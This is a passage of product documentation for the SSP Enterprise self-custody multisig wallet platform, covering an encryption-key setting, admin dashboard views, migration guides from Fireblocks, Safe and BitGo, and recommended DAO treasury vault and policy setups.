NOTIFICATION_ENC_KEY=<64 hex chars = 32 random bytes>
```

* The value must be a **stable 32-byte key**, hex-encoded (64 characters). Generate one with `openssl rand -hex 32`.
* **Do not lose or change this key.** Rotating `NOTIFICATION_ENC_KEY` makes every previously stored Slack URL and webhook signing secret undecryptable: affected subscriptions will fail delivery and eventually auto-disable. Treat rotation as a migration that re-encrypts existing secrets, not a hot swap.
* Keep it out of source control and managed as a secret alongside the database credentials.

## Admin dashboard

The admin dashboard gains two views under **Enterprise → Integrations**:

* **Notification deliveries / subscriptions** — delivery health, top failing subscriptions, retry a delivery, and globally enable/disable a subscription. Global enable/disable overrides are recorded in the organization audit trail.
* **API keys** — per-org keys with status, scopes, last-used time, and best-effort request counts; a single global revoke action. Stored secret material (key hashes, encrypted webhook/Slack secrets) is never returned to the dashboard client.

## Next steps

* [**Webhook Notifications**](/docs/ssp-enterprise/webhooks) — signing scheme, event types, verification
* [**Enterprise API**](/docs/ssp-enterprise/api) — endpoints, authentication, scopes


# Migration

Switching from another custody platform to SSP Enterprise is a deliberate process — your funds need to move on-chain, your team needs new device setups, and your operational habits need to adapt. This section covers the major platforms teams migrate from and what to expect at each step.

## Why teams migrate

Common reasons we hear:

* **Cost** — SSP Enterprise has a free tier and is dramatically cheaper than enterprise custody platforms (often $50K–$500K/year savings)
* **True self-custody** — eliminate counterparty risk, vendor key shares, MPC trust assumptions
* **No vendor lock-in** — your funds are recoverable from your signers' seed phrases regardless of SSP's status
* **Multi-chain in one place** — manage Bitcoin, Ethereum, EVM L2s, and more from one platform
* **Open source** — verify the security claims yourself instead of taking a vendor's word

## Migration guides

* [**From Fireblocks**](/docs/ssp-enterprise/migration/from-fireblocks) — moving off MPC custody to true self-custody multisig
* [**From Safe (Gnosis Safe)**](/docs/ssp-enterprise/migration/from-safe) — adding Bitcoin/UTXO chains, two-device security, and policies
* [**From BitGo**](/docs/ssp-enterprise/migration/from-bitgo) — moving off 2-of-3-with-vendor to M-of-N self-custody

## Universal pre-migration checklist

Regardless of which platform you're leaving:

1. **Inventory your assets** — list every chain, address, and balance you currently hold
2. **Decide your new vault structure** — typically one vault per chain, possibly multiple per chain (operations vs reserve)
3. **Identify your signers** — who will be on the new vaults? Plan for resilience: at least one extra signer beyond your threshold
4. **Set up SSP Wallet + SSP Key for every signer** before migration day
5. **Test on testnets first** — Bitcoin Signet and Sepolia are free; run through the full proposal-and-sign flow before touching real funds
6. **Communicate with stakeholders** — exchanges, DEXes, off-ramps that have your old addresses on whitelists need to be updated

## Common pitfalls

* **Underestimating signer availability** — N-of-N setups freeze funds if any signer is unavailable. Use majority thresholds (e.g., 3-of-5) for any high-value vault.
* **Forgetting whitelisted addresses** — counterparties (custodians, exchanges, OTC desks) often have your old addresses whitelisted. Coordinate the address change *before* migrating.
* **Migrating everything at once** — move one vault, validate it works for a few days, then continue. Don't make migration day also your first day on the new platform.
* **Not archiving the old platform immediately** — once funds are out, lock down the old platform's admin access to prevent confusion.

## How long it takes

| Team size                                      | Typical timeline   |
| ---------------------------------------------- | ------------------ |
| Small (2–5 signers, single chain)              | 1–2 days           |
| Mid (5–10 signers, 2–4 chains)                 | 1 week             |
| Large (10+ signers, full multi-chain treasury) | 2–4 weeks (phased) |

The bottleneck is almost always coordinating signer availability for vault setup and the first batch of test transactions, not the technical migration itself.

## Need help?

For larger or more complex migrations, we offer hands-on migration support. Email [**tadeas@sspwallet.com**](mailto:tadeas@sspwallet.com) or [book a call](https://calendar.app.google/NZd7n1d6Hjmd7XFD6).


# From Fireblocks

The biggest change isn't the UI. It's the custody model. Fireblocks holds part of every key on its infrastructure (MPC). SSP Enterprise doesn't — your team holds every key on your own devices. Everything else (policies, audit, multi-chain) is just engineering.

This guide covers what to plan for, what to migrate in what order, and what to watch out for.

## Why teams leave Fireblocks

We hear four reasons, in roughly this order:

* **Cost.** Fireblocks pricing typically starts around $100K/year and scales with AUM. SSP Enterprise has a free tier and significantly cheaper paid tiers.
* **Counterparty risk.** Fireblocks holds part of your key material. If they have an outage, get acquired, change terms, or have an internal incident, you have a dependency. Self-custody removes the dependency.
* **Operational friction.** KYC, AML, vendor onboarding, and policy approvals can stack up. SSP Enterprise is a tool you operate yourself — no vendor in your transaction flow.
* **Open source.** You can read the SSP Wallet and SSP Key code. You can verify the cryptography. With Fireblocks, you take it on trust.

## What changes for your team

| Aspect                  | Fireblocks                             | SSP Enterprise                          |
| ----------------------- | -------------------------------------- | --------------------------------------- |
| Custody                 | MPC, vendor holds part of every key    | Self-custody, your team holds all keys  |
| Signing UX              | Mobile approval, often 1-of-1          | M-of-N multisig, two devices per signer |
| Addresses               | Provided by vendor                     | Derived from your signers' xpubs        |
| Transaction history     | Lives in Fireblocks dashboard          | Lives on-chain, indexed by SSP          |
| Policies                | Transaction Authorization Policy (TAP) | SSP policy engine (UI-configured)       |
| Compliance integrations | Built-in (Chainalysis, Elliptic)       | Bring your own / API-driven             |
| Recovery                | Vendor-assisted                        | Signer seed phrases                     |

The two big mental shifts: (1) signing requires two devices per signer, not one, and (2) recovery is your problem now, with the upside that nothing can prevent it.

## Before you start

Get this out of the way before migration day:

* Inventory every Fireblocks vault — chains, addresses, balances, pending transactions
* Decide who your new signers will be (often the same humans who were Fireblocks approvers)
* Get every signer set up with **SSP Wallet + SSP Key** and confirm they completed the [first-time setup](/docs/quick-start-guides/first-time-setup)
* Have each signer log in to SSP Enterprise once, so their wallet is linked to your org
* List every external counterparty that has a Fireblocks address whitelisted — exchanges, OTC desks, custodians, dApps. They all need updating.
* Decide your new vault structure (typically one vault per chain, sometimes split by purpose)
* Decide your new thresholds — 2-of-3, 3-of-5, etc.

## The actual migration

### 1. Set up the SSP Enterprise side

Create the org, invite signers, confirm everyone shows up under Members. See [Creating Your First Organization](/docs/ssp-enterprise/creating-organization) and [Inviting Team Members](/docs/ssp-enterprise/inviting-members).

### 2. Build vaults that mirror your Fireblocks structure

For each Fireblocks vault you're migrating, create the equivalent SSP vault:

* Same chain
* Same or stricter threshold (if Fireblocks was effectively 1-of-N or 2-of-N, consider 3-of-N for added resilience)
* Match the naming so the team's mental model translates

Walk through [Creating Multisig Vaults](/docs/ssp-enterprise/creating-vaults) for the wizard.

### 3. Translate your TAPs into SSP policies

Your Fireblocks TAPs become SSP policies, mostly 1:1:

| Fireblocks TAP rule               | SSP Enterprise equivalent      |
| --------------------------------- | ------------------------------ |
| Daily transaction limit           | Daily Spending Limit (USD)     |
| Per-transaction max               | Per Transaction Limit          |
| Whitelisted destinations only     | Address Whitelist: Strict Mode |
| Manual approval over $X           | Admin Approval (USD threshold) |
| Cooldown / delay before broadcast | Time-Lock Delay                |
| Spending limits per user          | Per-Signer Spending Limits     |

Full reference: [Configuring Policy Controls](/docs/ssp-enterprise/policies).

### 4. Test on testnet first

Don't skip this. Spin up a Bitcoin Signet vault and a Sepolia vault with the same signers and threshold. Send testnet funds, run through the proposal-and-sign flow end to end, and trigger each policy you've configured to confirm it actually blocks what it should.

This catches signer device issues, policy misconfiguration, and team coordination problems before any real money is at stake. The cost of testnet validation is hours. The cost of skipping it can be six figures.

### 5. Move funds in tranches

Three batches, not one transaction:

1. **10%.** Verify it arrives. Leave it 24 hours. Confirm the SSP Enterprise UI shows it correctly.
2. **40%.** Same drill.
3. **The rest.**

Each tranche is a chance to catch something — wrong chain, address typo, fee misconfiguration. The first tranche being small means a mistake costs $X, not $10X.

### 6. Update everyone who has your Fireblocks addresses whitelisted

This is usually the longest step. Common list:

* Exchanges (Coinbase, Kraken, Binance, etc.) — often require KYC re-verification
* OTC desks — usually a quick email, sometimes contractual changes
* Custodians — process can take weeks
* DeFi protocols — anywhere you've authorized a smart contract to spend tokens
* Internal counterparties — subsidiaries, partners, vendors

Coordinate this *during* tranches 1 and 2 so it's not blocking tranche 3.

### 7. Decommission Fireblocks

Once funds are out and counterparties updated:

* **Don't immediately cancel.** Keep Fireblocks active (read-only if possible) for at least 30 days for audit and any straggling reconciliation.
* **Revoke API keys** that interacted with Fireblocks (treasury management tools, internal scripts).
* **Archive vaults** in Fireblocks once empty.
* **Cancel the subscription** at your renewal date.

## The gotchas

A few things specific to the Fireblocks → SSP Enterprise transition that have bitten teams:

* **EVM smart accounts.** Fireblocks uses standard EOA + MPC. SSP Enterprise EVM vaults are smart accounts (ERC-4337). The address format is the same but the contract logic differs. Any ERC-20 token approvals you held under your old Fireblocks address need to be reissued from your new SSP vault.
* **Token whitelists.** Some Fireblocks accounts had tokens whitelisted by contract. SSP Enterprise watches tokens per vault — make sure to add every token you held.
* **Pending transactions.** Finish or cancel them before migrating. They don't carry over.
* **Audit reports.** Export your full Fireblocks transaction history before you close the account. You won't be able to pull it later.

## How long it takes

Honestly, the technical migration is fast. The slow parts are coordinating signers and updating counterparties.

* Setup (org, signers, vaults, policies): 1–2 days
* Testnet validation: 2–3 days
* Fund migration in tranches: 1 week
* Counterparty whitelist updates: 1–4 weeks (this is your bottleneck)
* Fireblocks decommission: 30+ days post-migration

A small team migrating one chain can be done in a week. A full multi-chain treasury migration is realistically 4–6 weeks including counterparty coordination.

## Want help?

We've helped teams migrate from Fireblocks. For hands-on support — signer onboarding sessions, migration day support, policy review — email <tadeas@sspwallet.com> or [book a call](https://calendar.app.google/NZd7n1d6Hjmd7XFD6).


# From Safe (Gnosis Safe)

This guide is for teams currently using Safe (formerly Gnosis Safe) who want to consolidate onto SSP Enterprise. The two platforms share a self-custody multisig philosophy but differ on chain coverage, signer security model, and policy capabilities.

## Why teams move from Safe

* **Multi-chain native** — Safe is EVM-only. SSP Enterprise covers Bitcoin, Litecoin, Dogecoin, Bitcoin Cash, Zcash, Ravencoin, Flux, plus the major EVM chains (Ethereum, Polygon, BNB Chain, Avalanche, Base). Treasuries holding both BTC and ETH no longer need two platforms.
* **Stronger per-signer security** — Safe relies on whatever wallet each signer happens to use (MetaMask, Ledger, etc.). SSP Enterprise enforces **two-device security per signer** (browser extension + mobile app), so compromising one device of one signer is not enough to sign.
* **Built-in policy engine** — Safe needs Modules/Guards configured per-vault, often with custom Solidity. SSP Enterprise has spending limits, whitelists, time-locks, admin approvals, per-signer overrides — all configured through the UI, no smart contract deployment.
* **Simpler member management** — Safe stores signers as Ethereum addresses; you have to track who each address belongs to manually. SSP Enterprise has named members, roles, audit logs — true team management.
* **Native broadcasting on UTXO chains** — For Bitcoin, Litecoin, Dogecoin and the other UTXO chains, SSP Enterprise broadcasts signed transactions directly to full nodes. (Note: on EVM chains, SSP Enterprise vaults are ERC-4337 smart accounts, so EVM transactions are UserOperations relayed through an ERC-4337 bundler — the same class of infrastructure dependency Safe has on EVM, not a differentiator.)

## What you keep, what changes

| Aspect                  | Safe                                   | SSP Enterprise                                  |
| ----------------------- | -------------------------------------- | ----------------------------------------------- |
| **Custody model**       | Self-custody multisig (smart contract) | Self-custody multisig (native + smart contract) |
| **Chain coverage**      | EVM only (\~10 chains)                 | EVM + UTXO + Solana (13+ chains)                |
| **Signer security**     | Whatever wallet each signer uses       | Two-device per signer (enforced)                |
| **Policies**            | Modules/Guards (Solidity)              | Built-in policy engine (UI configured)          |
| **Member management**   | Ethereum addresses                     | Named members + roles                           |
| **Transaction history** | On-chain + Safe Transaction Service    | On-chain + SSP indexer                          |
| **Recovery**            | Signer seed phrases                    | Signer seed phrases (same model)                |
| **Open source**         | Yes                                    | Yes                                             |

## Pre-migration checklist

* [ ] List all your Safe wallets, their chains, balances, signer addresses, and current threshold
* [ ] Confirm which signers (humans) own which Ethereum addresses across all Safes
* [ ] Each signer installs **SSP Wallet** browser extension + **SSP Key** mobile app and completes [first-time setup](/docs/quick-start-guides/first-time-setup)
* [ ] Each signer logs in to SSP Enterprise once so their SSP Wallet is linked to your organization
* [ ] Inventory all on-chain integrations: ERC-20 token approvals, dApp connections, vesting contracts, governance delegations
* [ ] Decide whether you're consolidating multiple Safes into fewer SSP vaults, or maintaining 1:1 mapping

## Step 1 — Set up SSP Enterprise

1. Create your organization — see [Creating Your First Organization](/docs/ssp-enterprise/creating-organization)
2. Invite all signers — see [Inviting Team Members](/docs/ssp-enterprise/inviting-members)
3. Verify all signers appear in **Members**

## Step 2 — Plan your new vault structure

Common patterns:

* **1:1 mapping** — one SSP vault per existing Safe (simplest, lowest cognitive load)
* **Consolidated by purpose** — fewer vaults, organized by what funds are *for* (treasury, payroll, ops) rather than per-chain
* **Hybrid** — keep your most active Safes 1:1, consolidate the long-tail into a single reserve vault

For each new vault, decide:

* **Chain** — same as the Safe you're migrating from (or pick one chain if consolidating)
* **Signers** — same humans, but they'll use their SSP Wallet identity instead of their MetaMask address
* **Threshold** — match your Safe's threshold or revise (this is a good moment to reconsider)

## Step 3 — Create vaults

Walk through [Creating Multisig Vaults](/docs/ssp-enterprise/creating-vaults) for each one.

A note on chain choice: Safe supports Ethereum, Optimism, Arbitrum, Base, Polygon, BNB Chain, Avalanche, Gnosis Chain, and a few others. SSP Enterprise currently covers Ethereum, Polygon, BNB Chain, Avalanche, and Base on the EVM side. If you're using Safe on Optimism, Arbitrum, or Gnosis Chain, those are not yet supported and you'll need to bridge funds to a supported chain.

## Step 4 — Configure policies

This is one of the biggest wins moving to SSP Enterprise. Translate your Safe Modules/Guards into native SSP policies:

| Safe approach                               | SSP Enterprise equivalent          |
| ------------------------------------------- | ---------------------------------- |
| Spending Limit Module (per signer)          | **Per-Signer Spending Limits**     |
| Allowlist Module / Guard                    | **Address Whitelist: Strict Mode** |
| Cooldown / delay module                     | **Time-Lock Delay**                |
| Multi-tier approval (Safe with Safe owners) | **Admin Approval** (USD threshold) |
| Manual reviews via off-chain process        | **Warning Mode whitelist**         |

No Solidity required — configure all of this in the UI. See [Configuring Policy Controls](/docs/ssp-enterprise/policies).

## Step 5 — Migrate ERC-20 token approvals

This is critical and often missed.

If your Safe had outstanding token approvals (e.g., approved a DEX router to spend USDC), those approvals are tied to the Safe's contract address. They do **not** transfer to your new SSP vault.

For each token approval that matters:

1. Identify all `approve()` calls on your Safe (use Etherscan's "Token Approvals" tool with your Safe address)
2. After moving funds to the new vault, **re-approve** the same spenders from the new vault
3. **Optionally revoke** old approvals on the Safe (using a tool like revoke.cash) for hygiene

## Step 6 — Test on testnet

Create a **Sepolia testnet vault** with the same signers and threshold. Run through:

* A simple ETH transfer
* An ERC-20 transfer
* A policy-blocked transaction (e.g., propose something over your daily limit and confirm it's rejected)
* A multi-recipient batch transaction

This catches misconfigurations and gives signers practice with the new flow before real money is involved.

## Step 7 — Move funds in tranches

For each Safe → SSP vault migration:

1. **Tranche 1 (10%):** move a small amount, verify arrival, leave overnight
2. **Tranche 2 (40%):** move more, verify
3. **Tranche 3 (50%):** move the remainder

If you have multiple Safes, do them sequentially — finish one before starting the next. This isolates problems.

## Step 8 — Update integrations

* **dApps** — anywhere you've connected your Safe via WalletConnect needs to be reconnected with your new SSP vault address
* **Governance** — if your Safe held governance tokens (UNI, COMP, etc.) and was delegating votes, redelegate from the new vault
* **Off-chain tools** — Safe Transaction Service URLs, custom dashboards, internal tools all need to be repointed
* **Counterparties** — same as Fireblocks: anyone who whitelisted your Safe address needs the new address

## Step 9 — Decommission the Safe

Once funds and approvals are migrated:

1. **Leave the Safe deployed.** Don't try to "delete" it — Safe contracts are immutable. Just empty it.
2. **Document the old address** in your records as deprecated
3. **Remove team members from your Safe interface** (Settings → Owners) so it doesn't appear in their dashboards
4. **Optionally remove your Safe from any tracking tools** like DeBank, Zerion, etc.

## Common gotchas

* **Counterfactual deployment** — newer Safes are sometimes deployed lazily on different chains with the same address. If you've never sent a transaction *from* your Safe on a given chain, the contract may not actually be deployed there. Check before assuming.
* **EIP-712 signatures** — if your Safe relied on EIP-712 off-chain signature flows (signing messages, not transactions), those workflows need re-implementation against SSP's signature API
* **Hardware wallet UX** — signers who used a Ledger with their Safe will find SSP's two-device flow different (no Ledger required, but SSP Wallet + SSP Key both needed). Walk them through it before migration day.
* **Gas estimation differences** — SSP's smart account gas costs may differ from Safe's. Budget accordingly for the first few transactions while you get a feel for it.

## Estimated timeline

| Team profile                              | Typical duration                         |
| ----------------------------------------- | ---------------------------------------- |
| Single Safe, 3–5 signers, 1 chain         | 3–5 days                                 |
| Multiple Safes, 5+ signers, 2–3 chains    | 1–2 weeks                                |
| Treasury with extensive dApp integrations | 3–4 weeks (mostly integration re-wiring) |

## Need help?

For hands-on migration support — including team training and integration audits — email [**tadeas@sspwallet.com**](mailto:tadeas@sspwallet.com) or [book a call](https://calendar.app.google/NZd7n1d6Hjmd7XFD6).


# From BitGo

This guide is for teams currently using BitGo (typically the BitGo Custody or BitGo Wallet platform) who want to move to SSP Enterprise. The biggest shift is moving from BitGo's **2-of-3 model where one key sits with BitGo** to a fully self-custodial M-of-N where your team holds **all** keys.

## Why teams move from BitGo

* **True self-custody** — BitGo's standard model is 2-of-3 multisig where BitGo holds one key (the "BitGo key") to enable recovery. This means BitGo can theoretically participate in moves even though they typically don't. SSP Enterprise has no vendor key — your signers hold every key.
* **Cost** — BitGo's enterprise pricing typically starts around $50K/year and scales. SSP Enterprise has a free tier and lower paid tiers.
* **No vendor lock-in** — if BitGo went away, you'd need their cooperation to recover funds (you have your two keys, but the BitGo key is theirs). With SSP Enterprise, your funds are recoverable using only your signers' seed phrases — no vendor cooperation needed.
* **Multi-chain consistency** — BitGo's coverage is broad but uneven; some chains use full multisig, others use MPC, others are custodial. SSP Enterprise uses the same two-device M-of-N model on every supported chain.
* **Open source** — verify the security yourself.

## What you keep, what changes

| Aspect                      | BitGo                                                                          | SSP Enterprise                            |
| --------------------------- | ------------------------------------------------------------------------------ | ----------------------------------------- |
| **Custody model**           | 2-of-3 multisig with BitGo holding 1 key (or fully custodial on some products) | M-of-N multisig, your team holds all keys |
| **Vendor key share**        | Yes (BitGo holds the third key)                                                | None                                      |
| **Recovery without vendor** | Difficult (need BitGo cooperation in many scenarios)                           | Always possible from signer seed phrases  |
| **Compliance**              | Built-in (BitGo-mediated)                                                      | Self-managed                              |
| **Insurance**               | Available via BitGo Trust                                                      | Bring your own                            |
| **Cost**                    | $50K+/year                                                                     | Free tier + paid plans                    |

> **BitGo Trust note:** if you're using BitGo Trust (the qualified custodian product), the move to SSP Enterprise means moving from regulated qualified custody to self-custody. This is a regulatory and operational change, not just a technical one. Make sure your compliance team and any LPs/investors understand the implications.

## Pre-migration checklist

* [ ] List all BitGo wallets, their coins, balances, addresses, and approver structure
* [ ] Note for each wallet: is it BitGo Express (multisig with BitGo as 3rd key), BitGo Custody (qualified custody), or another product?
* [ ] Identify your new SSP Enterprise signers — typically your existing BitGo approvers
* [ ] Each signer installs **SSP Wallet** + **SSP Key** and completes [first-time setup](/docs/quick-start-guides/first-time-setup)
* [ ] Each signer logs in to SSP Enterprise once
* [ ] List all on-chain and off-chain integrations: exchanges with whitelisted BitGo addresses, internal accounting systems, partner relationships
* [ ] **Critical:** if you're under regulatory custody requirements, confirm that self-custody is permitted for your entity type and jurisdiction *before* migrating

## Step 1 — Regulatory and policy review

Unique to BitGo migrations: you may have non-technical blockers.

* **For investment funds and trusts** — qualified custody requirements may legally require a third-party custodian. Self-custody may not be permitted depending on your fund structure and jurisdiction. Consult legal before migrating.
* **For corporates** — internal treasury policy may require third-party custody. Update the policy or confirm self-custody is allowed.
* **For insurers** — BitGo's coverage doesn't follow your funds. If you need insurance, source a self-custody-compatible policy.

If any of these are blockers, talk to us before proceeding — there are sometimes hybrid arrangements that work.

## Step 2 — Set up SSP Enterprise

1. Create your organization — see [Creating Your First Organization](/docs/ssp-enterprise/creating-organization)
2. Invite all signers — see [Inviting Team Members](/docs/ssp-enterprise/inviting-members)
3. Confirm all signers are in **Members**

## Step 3 — Decide your new threshold

BitGo's 2-of-3 (with BitGo as the 3rd key) was effectively 1-of-2 from your team's perspective on the day-to-day, with BitGo as a backstop. Your new SSP threshold is now entirely your team's responsibility.

Common new thresholds when migrating from BitGo:

* **2-of-3 with three of your signers** — same number of signatures, no vendor
* **3-of-5** — adds resilience; tolerates one signer being unavailable
* **2-of-4** — easier daily ops, still requires team consensus

For high-value vaults, prefer at least 3-of-5. Don't try to replicate BitGo's "team plus vendor backstop" with N-of-N — that creates a single point of failure (any unavailable signer freezes the vault).

## Step 4 — Create vaults

Use the [Creating Multisig Vaults](/docs/ssp-enterprise/creating-vaults) walkthrough.

For each BitGo wallet, create a corresponding SSP vault on the same chain.

## Step 5 — Configure policies

BitGo offers Webhooks and Policy enforcement at the wallet level. Translate to SSP Enterprise:

| BitGo policy                     | SSP Enterprise equivalent                        |
| -------------------------------- | ------------------------------------------------ |
| Velocity limits                  | **Daily / Weekly / Monthly Spending Limits**     |
| Spending limits per user         | **Per-Signer Spending Limits**                   |
| Whitelist (Address Verification) | **Address Whitelist: Strict Mode**               |
| Approval thresholds              | **Admin Approval** (USD threshold)               |
| Manual review queue              | **Time-Lock Delay** + **Warning Mode whitelist** |

See [Configuring Policy Controls](/docs/ssp-enterprise/policies).

## Step 6 — Test on testnet

* Create a Bitcoin Signet vault and an Ethereum Sepolia vault with the same signer and threshold structure
* Send testnet funds, run through the proposal-and-sign flow
* Trigger each policy you've configured to confirm it works as expected

## Step 7 — Move funds in tranches

* **Tranche 1:** 10%, leave overnight
* **Tranche 2:** 40%, verify
* **Tranche 3:** 50%, complete

For BitGo specifically: if you're using BitGo's hot/warm/cold tier separation, migrate the **hot wallets first** (lowest balance, highest churn) so you can validate the operational flow with the smallest blast radius. Migrate cold storage last.

## Step 8 — Update counterparties and integrations

* Exchanges, OTC desks, and DeFi platforms with whitelisted BitGo addresses need your new addresses
* Accounting systems (Cryptio, Bitwave, etc.) that pull from BitGo's API need to be repointed to SSP Enterprise's API or re-configured
* Internal alerting tools that watched BitGo addresses need updates

## Step 9 — Decommission BitGo

* **Don't close the account immediately** — keep it for at least 60 days for audit trail and any straggling reconciliation
* **Export all transaction history** for your records (BitGo may impose limits on historical access for closed accounts)
* **Cancel API keys** that interacted with BitGo
* **Cancel the subscription** at your renewal date
* **For BitGo Trust accounts:** notify them in writing per your service agreement

## Common gotchas

* **BitGo's "user keys" are encrypted with a passphrase** — make sure you have both the encrypted backup AND the passphrase before migration. Don't lose access to old funds during transition.
* **Address types** — BitGo uses specific address derivation paths. Your new SSP addresses will be different — never assume "the same wallet's new address." Always verify the SSP address from the SSP Enterprise UI directly.
* **BitGo's API is integrated into many treasury tools** — Cryptio, TaxBit, Bitwave, etc. all support BitGo natively. If you rely on these, check their SSP Enterprise integration status before migrating (and consider keeping BitGo open in read-only mode if needed for historical reporting).
* **Insurance carry-over** — BitGo Trust insurance does not transfer. Source replacement coverage if needed *before* moving funds.

## Estimated timeline

| Team profile                             | Typical duration |
| ---------------------------------------- | ---------------- |
| Small team, 1–2 chains                   | 1–2 weeks        |
| Mid-size, multi-chain                    | 3–4 weeks        |
| Investment fund (with regulatory review) | 2–3 months       |

The regulatory review step is often the longest part for funds and institutional clients.

## Need help?

BitGo migrations often involve regulatory and operational considerations beyond the technical migration. For hands-on support — including legal/compliance discussions and treasury team training — email [**tadeas@sspwallet.com**](mailto:tadeas@sspwallet.com) or [book a call](https://calendar.app.google/NZd7n1d6Hjmd7XFD6).


# Use Cases

Recommended setups for common organizational structures. Each guide covers signer composition, threshold choice, vault layout, and policy recommendations specific to that use case.

These are starting points, not prescriptions — adapt them to your team's actual governance and risk tolerance.

## Available guides

* [**DAO Treasury Management**](/docs/ssp-enterprise/use-cases/dao-treasury) — council-based governance with on-chain transparency
* [**Corporate Treasury Workflow**](/docs/ssp-enterprise/use-cases/corporate-treasury) — executive sign-off with finance team operations

## Coming soon

* Investment fund custody — fund manager + compliance + LP signers
* OTC desk operations — high-velocity sign-off with strict counterparty controls
* Mining operation treasury — rewards consolidation, automated payouts, cold reserve

If your use case isn't listed and you'd like guidance, email [**tadeas@sspwallet.com**](mailto:tadeas@sspwallet.com).

## How to choose your setup

Three questions to answer before configuring anything:

1. **Who are the signers?** — name the actual humans, not roles. Each one needs SSP Wallet + SSP Key set up.
2. **What's the worst-case scenario you need to survive?** — one signer compromised? Two unavailable? Internal fraud attempt? Your threshold and signer count should make the worst case survivable.
3. **What's the expected transaction frequency and value?** — high frequency, low value calls for looser policies and faster thresholds. Low frequency, high value calls for tight policies, time-locks, and admin approval gates.

Common patterns by team size:

| Team size   | Typical setup                                                             | Vaults     |
| ----------- | ------------------------------------------------------------------------- | ---------- |
| 2–4 people  | 2-of-3 with all signers, simple policy                                    | 1–2 vaults |
| 5–10 people | 3-of-5 council vault + 2-of-3 ops vault                                   | 2–4 vaults |
| 10+ people  | Multi-vault with role separation: cold reserve, ops, payroll, partnership | 4+ vaults  |

The key insight: **don't put everything in one vault**. Separate vaults isolate failures. If your operations vault gets compromised somehow, your cold reserve is untouched.


# DAO Treasury Management

This guide covers a recommended SSP Enterprise setup for a DAO treasury — community-governed funds with multi-signer council approval, on-chain transparency, and clear separation between operational spending and long-term reserves.

## Who this is for

* DAOs with a designated treasury council (typically 3–9 elected members)
* Protocols with foundation treasuries managed by core contributors
* Sub-DAOs spending allocated budgets within a larger DAO
* Any community-governed pool where decisions are made by a multisig council on behalf of token holders

## Why DAOs benefit from SSP Enterprise

* **True self-custody** — no custodian, no MPC vendor sitting between the DAO and its funds. Aligns with the decentralization ethos.
* **Audit trail** — every proposal, approval, and rejection is logged with the signer's identity and timestamp. Meets community demand for transparency.
* **Multi-chain treasury** — protocol may be on Ethereum but treasury holds BTC, USDC, native token across chains. Manage from one place.
* **Policy enforcement** — spending limits prevent runaway proposals; whitelists prevent accidental sends to wrong addresses; time-locks give the community time to react to suspicious activity.

## Recommended structure

### Vaults

Most DAOs benefit from at least three vaults, separated by purpose:

| Vault                    | Purpose                                             | Threshold                  |
| ------------------------ | --------------------------------------------------- | -------------------------- |
| **Cold Reserve**         | Long-term holdings, rarely touched                  | 4-of-7 (highest threshold) |
| **Operations**           | Recurring expenses: contributor pay, infra, tooling | 3-of-5                     |
| **Grants & Initiatives** | Discretionary spending on community proposals       | 3-of-5                     |

This separation means:

* The cold reserve is rarely accessed → can use a higher threshold without ops friction
* Operations runs frequently → middle threshold
* Grants are visible per-vault → community can audit spending by category

If you're a smaller DAO, start with two vaults (Reserve + Operations) and add Grants later.

### Signers

Recommended council composition:

* **5 signers** for sub-$10M treasuries
* **7 signers** for $10M–$100M treasuries
* **9 signers** for $100M+ treasuries (gets unwieldy beyond this)

Keep the signer count **odd** — avoids tied votes if you ever do informal off-chain coordination.

Signer composition should mix:

* **Core contributors** — high engagement, available for fast approvals
* **Community-elected representatives** — legitimacy with token holders
* **Independent advisors** — checks and balances; less likely to collude with insiders

Avoid having all signers from the same legal entity, geography, or social group — diversification reduces risk of coordinated compromise or jurisdictional capture.

### Threshold choice

* **Operations vault: 3-of-5 or 3-of-7** — majority approval, tolerates 2 absences
* **Cold reserve: 5-of-7 or 6-of-9** — supermajority, very deliberate moves only

Avoid:

* **N-of-N** — one offline signer freezes the vault. Catastrophic for a DAO with global signers.
* **2-of-N** — too easy to collude. Below the bar of "majority approval" community expects.

## Recommended policies

### Operations vault

```
Daily Limit:        $50,000 USD
Per-Tx Limit:       $20,000 USD
Whitelist:          Warning Mode (admin approval for new addresses)
Time-Lock:          1 hour for transactions over $10,000
Admin Approval:     None (operations should move fast)
```

Rationale: keep operations nimble for routine payments but cap exposure. Time-lock catches mistakes; warning-mode whitelist tolerates new contributors without blocking them entirely.

### Cold reserve vault

```
Daily Limit:        None (rarely used; if you're hitting a daily limit, something's wrong)
Per-Tx Limit:       None
Whitelist:          Strict Mode (only approved destinations)
Time-Lock:          24 hours, ALL transactions
Admin Approval:     Required, ALL transactions
```

Rationale: deliberate, observable, reversible-in-window. The 24-hour time-lock means the community has a full day to react if a transaction looks wrong. Strict whitelist prevents any "send to attacker" scenario from being viable.

### Grants vault

```
Daily Limit:        $100,000 USD
Per-Tx Limit:       $50,000 USD
Whitelist:          Disabled (grants go to many one-time recipients)
Time-Lock:          4 hours for transactions over $25,000
Admin Approval:     Required for transactions over $25,000
```

Rationale: grants need flexibility (every recipient is different), but high-value grants get extra scrutiny.

## Operating rhythm

### Day-to-day

* **Routine payments** (contributor pay, infra costs): proposed by treasurer, approved by 3-of-5 council members within 24 hours
* **New addresses on operations vault**: any new vendor goes through warning-mode approval — gives community a chance to flag

### Weekly

* **Treasury review**: review the past week's transactions in the SSP Enterprise audit log; share a summary with the community (often as a forum post or Discord update)

### Monthly

* **Policy review**: review spending against limits; adjust if you're consistently hitting them or way under
* **Reserve rebalancing** (if applicable): move funds between cold reserve and operations to maintain target balances

### Quarterly

* **Council rotation review**: per your DAO governance, signers may rotate. When a signer leaves, **create a new vault** with the updated signer set and migrate funds. (Vault signer sets cannot be edited after creation — this is intentional for security but operationally relevant.)

## On-chain transparency

A common DAO requirement: the community should be able to see the treasury independently of trusting the council.

SSP Enterprise vaults are **standard on-chain multisig addresses** — fully visible on block explorers. Your community can:

* Watch the address on Etherscan / mempool.space / etc.
* Use third-party trackers (DeBank, Zerion, DefiLlama Treasury) to see balances and history
* Verify the multisig configuration (signers, threshold) on-chain

You can also publish your vault addresses in your DAO's docs or on a transparency page. SSP Enterprise's audit log adds context (who proposed, who signed, when, why) on top of what's already public on-chain.

## Common pitfalls

* **Signer offboarding without a plan** — a council member leaves, but nobody migrates the vault. Months later, you can't reach quorum. **Always migrate to a new vault when council composition changes substantively.**
* **Letting the operations vault accumulate** — operations should be a small float, not the bulk of the treasury. Sweep excess to cold reserve regularly.
* **No policy on "emergency" transactions** — what happens if you need to move $5M in 30 minutes during a market crisis? Define this *before* it happens. Some DAOs have a designated "emergency vault" with a low threshold (e.g., 2-of-5) for time-sensitive moves, with a small balance only.
